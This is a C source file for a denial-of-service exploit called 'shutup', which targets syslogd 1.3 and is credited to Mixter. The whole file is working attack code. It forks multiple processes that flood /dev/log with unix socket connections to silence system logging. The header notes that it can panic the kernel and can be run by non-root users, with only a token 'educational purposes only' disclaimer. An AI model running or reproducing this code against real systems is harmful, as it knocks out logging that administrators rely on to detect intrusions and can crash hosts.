/*
 *
 * shutup - syslogd 1.3 denial of service
 * by Mixter <mixter@newyorkoffice.com>
 *
 * This opens up to 2000 unix domain socket connections
 * to /dev/log, attempting to stop syslog from responding.
 * WARNING: This apparently causes the kernel to panic!
 * You might have to run this 2 times to reproduce it as non-root.
 * This code is for educational purposes only, do not abuse.
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define PATH	"/dev/log"
#define SHUTUPS	200
#define PROCS	10

int
main (void)
{
  int s, i;
  struct sockaddr_un sun;
  char host[128];

  sun.sun_family = AF_UNIX;
  strncpy (sun.sun_path, PATH, 100);
  gethostname (host, 128);

  printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n");
  printf ("syslog on %s is now being overloaded...\n", host);

  if (fork ())
    exit (0);

  for (i = 0; i < PROCS; i++)
    if (fork () == 0)
      break;

  for (i = 0; i < SHUTUPS; i++)
    {
      if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
	{
	  perror ("socket");
	  while (1);
	}

      if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
	{
	  perror ("connect");
	  close (s);
	  i--;
	}
    }

  while (1);
}
